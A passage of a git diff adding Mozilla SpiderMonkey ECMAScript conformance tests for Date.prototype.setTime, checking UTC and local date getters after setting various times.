+ DateCase.toString() );
+}
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+ return (d);
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.23-13.js b/js/src/tests/ecma/Date/15.9.5.23-13.js
new file mode 100644
index 000000000..1165a6f0a
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.23-13.js
@@ -0,0 +1,103 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.23-1.js
+ ECMA Section: 15.9.5.23 Date.prototype.setTime(time)
+ Description:
+
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "15.9.5.23-13";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.setTime()";
+
+writeHeaderToLog( SECTION + " Date.prototype.setTime(time)");
+
+var now = "now";
+addTestCase( now, -2208988800000 );
+
+test();
+
+function addTestCase( startTime, setTime ) {
+ if ( startTime == "now" ) {
+ DateCase = new Date();
+ } else {
+ DateCase = new Date( startTime );
+ }
+
+ DateCase.setTime( setTime );
+ var DateString = "var d = new Date("+startTime+"); d.setTime("+setTime+"); d" ;
+ var UTCDate = UTCDateFromTime ( Number(setTime) );
+ var LocalDate = LocalDateFromTime( Number(setTime) );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes, DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds, DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+ return (d);
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.23-14.js b/js/src/tests/ecma/Date/15.9.5.23-14.js
new file mode 100644
index 000000000..61f3842cb
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.23-14.js
@@ -0,0 +1,103 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.23-1.js
+ ECMA Section: 15.9.5.23 Date.prototype.setTime(time)
+ Description:
+
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "15.9.5.23-14";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.setTime()";
+
+writeHeaderToLog( SECTION + " Date.prototype.setTime(time)");
+
+var now = "now";
+addTestCase( now, 946684800000 );
+
+test();
+
+function addTestCase( startTime, setTime ) {
+ if ( startTime == "now" ) {
+ DateCase = new Date();
+ } else {
+ DateCase = new Date( startTime );
+ }
+
+ DateCase.setTime( setTime );
+ var DateString = "var d = new Date("+startTime+"); d.setTime("+setTime+"); d" ;
+ var UTCDate = UTCDateFromTime ( Number(setTime) );
+ var LocalDate = LocalDateFromTime( Number(setTime) );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes, DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds, DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+ return (d);
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.23-15.js b/js/src/tests/ecma/Date/15.9.5.23-15.js
new file mode 100644
index 000000000..58efd6c90
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.23-15.js
@@ -0,0 +1,103 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.23-1.js
+ ECMA Section: 15.9.5.23 Date.prototype.setTime(time)
+ Description:
+
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "15.9.5.23-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.setTime()";
+
+writeHeaderToLog( SECTION + " Date.prototype.setTime(time)");
+
+var now = "now";
+addTestCase( now, 0 );
+
+test();
+
+function addTestCase( startTime, setTime ) {
+ if ( startTime == "now" ) {
+ DateCase = new Date();
+ } else {
+ DateCase = new Date( startTime );
+ }
+
+ DateCase.setTime( setTime );
+ var DateString = "var d = new Date("+startTime+"); d.setTime("+setTime+"); d" ;
+ var UTCDate = UTCDateFromTime ( Number(setTime) );
+ var LocalDate = LocalDateFromTime( Number(setTime) );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes, DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds, DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+ return (d);
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.23-16.js b/js/src/tests/ecma/Date/15.9.5.23-16.js
new file mode 100644
index 000000000..fad28d3d6
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.23-16.js
@@ -0,0 +1,103 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.23-1.js
+ ECMA Section: 15.9.5.23 Date.prototype.setTime(time)
+ Description:
+
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "15.9.5.23-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.setTime()";
+
+writeHeaderToLog( SECTION + " Date.prototype.setTime(time)");
+
+var now = "now";
+addTestCase( now, String( TIME_1900 ) );
+
+test();
+
+function addTestCase( startTime, setTime ) {
+ if ( startTime == "now" ) {
+ DateCase = new Date();
+ } else {
+ DateCase = new Date( startTime );
+ }
+
+ DateCase.setTime( setTime );
+ var DateString = "var d = new Date("+startTime+"); d.setTime("+setTime+"); d" ;
+ var UTCDate = UTCDateFromTime ( Number(setTime) );
+ var LocalDate = LocalDateFromTime( Number(setTime) );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes, DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds, DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+ return (d);
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.23-17.js b/js/src/tests/ecma/Date/15.9.5.23-17.js
new file mode 100644
index 000000000..24e328af0
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.23-17.js
@@ -0,0 +1,103 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.23-1.js
+ ECMA Section: 15.9.5.23 Date.prototype.setTime(time)
+ Description:
+
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "15.9.5.23-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.setTime()";
+
+writeHeaderToLog( SECTION + " Date.prototype.setTime(time)");
+
+var now = "now";
+addTestCase( now, String( TZ_DIFF* msPerHour ) );
+
+test();
+
+function addTestCase( startTime, setTime ) {
+ if ( startTime == "now" ) {
+ DateCase = new Date();
+ } else {
+ DateCase = new Date( startTime );
+ }
+
+ DateCase.setTime( setTime );
+ var DateString = "var d = new Date("+startTime+"); d.setTime("+setTime+"); d" ;
+ var UTCDate = UTCDateFromTime ( Number(setTime) );
+ var LocalDate = LocalDateFromTime( Number(setTime) );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes, DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds, DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+ return (d);
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.23-18.js b/js/src/tests/ecma/Date/15.9.5.23-18.js
new file mode 100644
index 000000000..27523980e
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.23-18.js
@@ -0,0 +1,103 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.23-1.js
+ ECMA Section: 15.9.5.23 Date.prototype.setTime(time)
+ Description:
+
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "15.9.5.23-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.setTime()";
+
+writeHeaderToLog( SECTION + " Date.prototype.setTime(time)");
+
+var now = "now";
+addTestCase( now, String( TIME_2000 ) );
+
+test();
+
+function addTestCase( startTime, setTime ) {
+ if ( startTime == "now" ) {
+ DateCase = new Date();
+ } else {
+ DateCase = new Date( startTime );
+ }
+
+ DateCase.setTime( setTime );
+ var DateString = "var d = new Date("+startTime+"); d.setTime("+setTime+"); d" ;
+ var UTCDate = UTCDateFromTime ( Number(setTime) );
+ var LocalDate = LocalDateFromTime( Number(setTime) );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes, DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds, DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+ return (d);
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.23-2.js b/js/src/tests/ecma/Date/15.9.5.23-2.js
new file mode 100644
index 000000000..2204ef413
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.23-2.js
@@ -0,0 +1,75 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.23-2.js
+ ECMA Section: 15.9.5.23
+ Description: Date.prototype.setTime
+
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "15.9.5.23-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.setTime()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+test_times = new Array( TIME_NOW, TIME_1970, TIME_1900, TIME_2000 );
+
+for ( var j = 0; j < test_times.length; j++ ) {
+ addTestCase( new Date(TIME_NOW), test_times[j] );
+}
+
+new TestCase( SECTION,
+ "(new Date(NaN)).setTime()",
+ NaN,
+ (new Date(NaN)).setTime() );
+
+new TestCase( SECTION,
+ "Date.prototype.setTime.length",
+ 1,
+ Date.prototype.setTime.length );
+test();
+
+function addTestCase( d, t ) {
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+t+")",
+ t,
+ d.setTime(t) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t+1.1)+")",
+ TimeClip(t+1.1),
+ d.setTime(t+1.1) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t+1)+")",
+ t+1,
+ d.setTime(t+1) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t-1)+")",
+ t-1,
+ d.setTime(t-1) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t-TZ_ADJUST)+")",
+ t-TZ_ADJUST,
+ d.setTime(t-TZ_ADJUST) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t+TZ_ADJUST)+")",
+ t+TZ_ADJUST,
+ d.setTime(t+TZ_ADJUST) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.23-3-n.js b/js/src/tests/ecma/Date/15.9.5.23-3-n.js
new file mode 100644
index 000000000..e395c8e10
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.23-3-n.js
@@ -0,0 +1,45 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
